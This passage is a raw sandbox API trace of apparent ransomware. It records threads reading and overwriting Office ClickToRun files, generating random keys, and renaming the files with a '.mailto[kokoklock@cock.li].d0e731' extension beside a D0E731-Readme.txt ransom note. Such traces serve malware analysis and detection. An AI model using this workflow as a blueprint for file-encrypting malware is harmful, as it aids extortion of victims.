0x341e3e8 [0074.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0074.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0074.486] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18bbfca0, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x18bbfca0*=0x20, lpOverlapped=0x0) returned 1 [0074.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x3422e88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x3422e88*, lpNumberOfBytesWritten=0x18bbfccc*=0x8, lpOverlapped=0x0) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x18bbfce4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x18bbfce4*, lpNumberOfBytesWritten=0x18bbfccc*=0x4, lpOverlapped=0x0) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18bbfccc*=0x4, lpOverlapped=0x0) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18bbfccc*=0x6c, lpOverlapped=0x0) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x18bbfccc*=0x20, lpOverlapped=0x0) returned 1 [0074.487] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18bbfccc*=0x4, lpOverlapped=0x0) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0074.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0074.487] CloseHandle (hObject=0x960) returned 1 [0074.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x33e2008 [0074.488] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" [0074.488] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" [0074.488] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.488] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", dwFileAttributes=0x20) returned 0 [0074.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.489] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.489] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.489] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34228b8) returned 1 [0074.489] RtlExitUserThread (Status=0x1) Thread: id = 637 os_tid = 0xa98 [0074.490] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 0x20 [0074.491] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", dwFileAttributes=0x20) returned 1 [0074.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.491] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18c3f748 | out: lpFileSize=0x18c3f748*=3238) returned 1 [0074.491] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xca2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.491] ReadFile (in: hFile=0x960, lpBuffer=0x18c3f71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x18c3f71c*, lpNumberOfBytesRead=0x18c3f718*=0x4, lpOverlapped=0x0) returned 1 [0074.494] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0074.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e88 [0074.494] NtQuerySystemTime (in: CurrentTime=0x18c3f6f4 | out: CurrentTime=0x18c3f6f4*=132121176323940020) returned 0x0 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xfec6ad4c [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xfa0dd867 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x7003fadb [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x6bb7c54f [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x52cb8c05 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x562d638f [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x8f970f78 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xdb2ef59f [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x57db00d6 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xde7e222d [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x457a1f41 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x1581fab9 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xf18ef79a [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xc738a2cb [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xcfbeb87c [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x4dfa57de [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xa158ee22 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x553f9686 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x95fbfc8d [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x2a335a2d [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x1e82c07a [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xa3f16b6 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x6eacc472 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x2a2105e1 [0074.494] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x1a52fbb6 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xaeb83f4f [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xedecfaf3 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x464dadf2 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xffd1aca6 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0xb213928 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x9f3b8e9 [0074.495] RtlRandom (in: Seed=0x18c3f700 | out: Seed=0x18c3f700) returned 0x20ea9ab2 [0074.506] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0xca6, lpNumberOfBytesRead=0x18c3f6f4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18c3f6f4*=0xca6, lpOverlapped=0x0) returned 1 [0074.506] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c3f6bc | out: lpNewFilePointer=0x0) returned 1 [0074.506] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0xca6, lpNumberOfBytesWritten=0x18c3f6f0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18c3f6f0*=0xca6, lpOverlapped=0x0) returned 1 [0074.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0074.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d50 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d50) returned 1 [0074.506] WriteFile (in: hFile=0x960, lpBuffer=0x3478b48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18c3f6ec, lpOverlapped=0x0 | out: lpBuffer=0x3478b48*, lpNumberOfBytesWritten=0x18c3f6ec*=0x20, lpOverlapped=0x0) returned 1 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x3478968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x3478968*, lpNumberOfBytesWritten=0x18c3f718*=0x8, lpOverlapped=0x0) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x18c3f730*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x18c3f730*, lpNumberOfBytesWritten=0x18c3f718*=0x4, lpOverlapped=0x0) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18c3f718*=0x4, lpOverlapped=0x0) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18c3f718*=0x6c, lpOverlapped=0x0) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x18c3f718*=0x20, lpOverlapped=0x0) returned 1 [0074.507] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c3f718, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18c3f718*=0x4, lpOverlapped=0x0) returned 1 [0074.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0074.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478968) returned 1 [0074.507] CloseHandle (hObject=0x960) returned 1 [0074.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33e2008 [0074.507] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" [0074.507] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" [0074.507] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", dwFileAttributes=0x20) returned 0 [0074.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.509] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.509] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.509] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d0f8) returned 1 [0074.509] RtlExitUserThread (Status=0x1) Thread: id = 638 os_tid = 0x2e8 [0074.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man")) returned 0x20 [0074.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", dwFileAttributes=0x20) returned 1 [0074.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.510] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18cbf81c | out: lpFileSize=0x18cbf81c*=112678) returned 1 [0074.510] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1b822, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.511] ReadFile (in: hFile=0x960, lpBuffer=0x18cbf7f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x18cbf7f0*, lpNumberOfBytesRead=0x18cbf7ec*=0x4, lpOverlapped=0x0) returned 1 [0074.512] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0074.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0074.512] NtQuerySystemTime (in: CurrentTime=0x18cbf7c8 | out: CurrentTime=0x18cbf7c8*=132121176324096885) returned 0x0 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x8a44e684 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xde33ed9d [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xf631ed64 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x442aa5a7 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x147423bc [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x4a6082b2 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xe6652037 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x83c1eaa6 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xf8db9e06 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x88630ec6 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xa88f7d1d [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xca3205a0 [0074.512] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x9b92da30 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xd73933b1 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x663694da [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x455bd373 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xa2acfa30 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xe37aedbf [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x9f52c3d2 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xa9b3721d [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x8509ec34 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xe693db0d [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xcbcf41a5 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xfa141132 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xebe185d3 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x194192c [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xbdd7411f [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x228e9357 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xe0a3943d [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xc7067681 [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0xcb35215f [0074.513] RtlRandom (in: Seed=0x18cbf7d4 | out: Seed=0x18cbf7d4) returned 0x73b79fd2 [0074.524] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.524] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18cbf7a0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18cbf7a0*=0x4096, lpOverlapped=0x0) returned 1 [0074.525] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0074.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792a0 [0074.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34792a0) returned 1 [0074.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795e8 [0074.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479458) returned 1 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 